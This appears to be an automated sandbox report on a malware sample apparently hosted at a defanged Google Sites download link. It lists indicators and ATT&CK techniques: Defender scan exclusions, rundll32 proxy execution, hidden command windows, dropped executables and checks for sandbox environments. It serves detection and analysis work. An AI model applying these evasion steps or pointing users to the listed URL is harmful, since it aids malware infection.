hxxps://sites[.]google[.]com/view/softfreedownload

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 6 IoCs

pid	Process
3488	node.exe
2020	node.exe
6764	Installer.exe
7028	Installer.exe
5768	Installer.exe
5656	Installer.exe

Loads dropped DLL 16 IoCs

pid	Process
3488	node.exe
3488	node.exe
2020	node.exe
2020	node.exe
3188	Setup.exe
3188	Setup.exe
3188	Setup.exe
6764	Installer.exe
7028	Installer.exe
7028	Installer.exe
7028	Installer.exe
7028	Installer.exe
7028	Installer.exe
7028	Installer.exe
5768	Installer.exe
5656	Installer.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
2856	cmd.exe

System Binary Proxy Execution: Rundll32 1 TTPs 2 IoCs

Abuse Rundll32 to proxy execution of malicious code.

Rundll32

T1218.011

pid	Process
3488	cmd.exe
2392	rundll32.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
15	sites.google.com
16	sites.google.com
17	sites.google.com
19	sites.google.com
24	sites.google.com

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Hide Artifacts: Hidden Window 1 TTPs 7 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

Hidden Window

T1564.003

pid	Process
7076	cmd.exe
6516	cmd.exe
7040	cmd.exe
2856	cmd.exe
6728	cmd.exe
1224	cmd.exe
6868	cmd.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
592	ipinfo.io
593	ipinfo.io

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs

execution

Visual Basic

T1059.005

pid	Process
6012	wscript.exe
4028	wscript.exe
6336	wscript.exe
6448	wscript.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e5d1b5d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE8DD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e5d1b5b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C91ED212-755B-4F02-9697-85BC502A9DA6}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2EB4.tmp	msiexec.exe
File created	C:\Windows\Installer\e5d1b5b.msi	msiexec.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

Ignore Process Interrupts

T1564.011

pid	Process
2856	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 51 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6700	cmd.exe
6420	cmd.exe
6356	cmd.exe
7116	cmd.exe
4820	cmd.exe
5508	cmd.exe
6604	cmd.exe
6928	cmd.exe
6780	cmd.exe
6532	cmd.exe
1504	cmd.exe
6112	cmd.exe
6920	cmd.exe
6704	cmd.exe
1852	cmd.exe
6812	cmd.exe
6204	cmd.exe
4552	cmd.exe
3744	cmd.exe
4512	cmd.exe
6500	cmd.exe
6724	cmd.exe
7060	cmd.exe
6916	cmd.exe
6680	cmd.exe
3164	cmd.exe
4424	cmd.exe
6108	cmd.exe
6716	cmd.exe
692	cmd.exe
6884	cmd.exe
6772	cmd.exe
6652	cmd.exe
4768	cmd.exe
3568	cmd.exe
6384	cmd.exe
6360	cmd.exe
6916	cmd.exe
6624	cmd.exe
6332	cmd.exe
4968	cmd.exe
6600	cmd.exe
6424	cmd.exe
6932	cmd.exe
6640	cmd.exe
6616	cmd.exe
6348	cmd.exe
6648	cmd.exe
6496	cmd.exe
6752	cmd.exe
6744	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000499bfc0d34bfe76b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000499bfc0d0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900499bfc0d000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a499bfc0d000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d499bfc0d000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Applications\7z.exe\shell	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\0	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	OpenWith.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-668679576-120646659-2289335452-1000\{B93F68C0-CEBF-45D3-913D-2A6D0FA3A1C6}	node.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\NodeSlot = "4"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Applications\7z.exe\shell\open\command\ = "\"C:\\Program Files\\7-Zip\\7z.exe\" \"%1\""	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Applications	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\MRUListEx = ffffffff	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\SniffedFolderType = "Generic"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Applications\7zFM.exe\shell\open\command	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\0 = 5000310000000000ad5cbca81000372d5a6970003c0009000400efbead5cbca8ad5cbca82e00000021e70100000004000000000000000000000000000000e157080037002d005a0069007000000014000000	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\0\MRUListEx = ffffffff	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Applications\7z.exe	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Applications\7zFM.exe\shell\open	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	OpenWith.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 0100000000000000ffffffff	OpenWith.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\0\NodeSlot = "5"	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Applications\7z.exe\shell\open\command	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Applications	OpenWith.exe
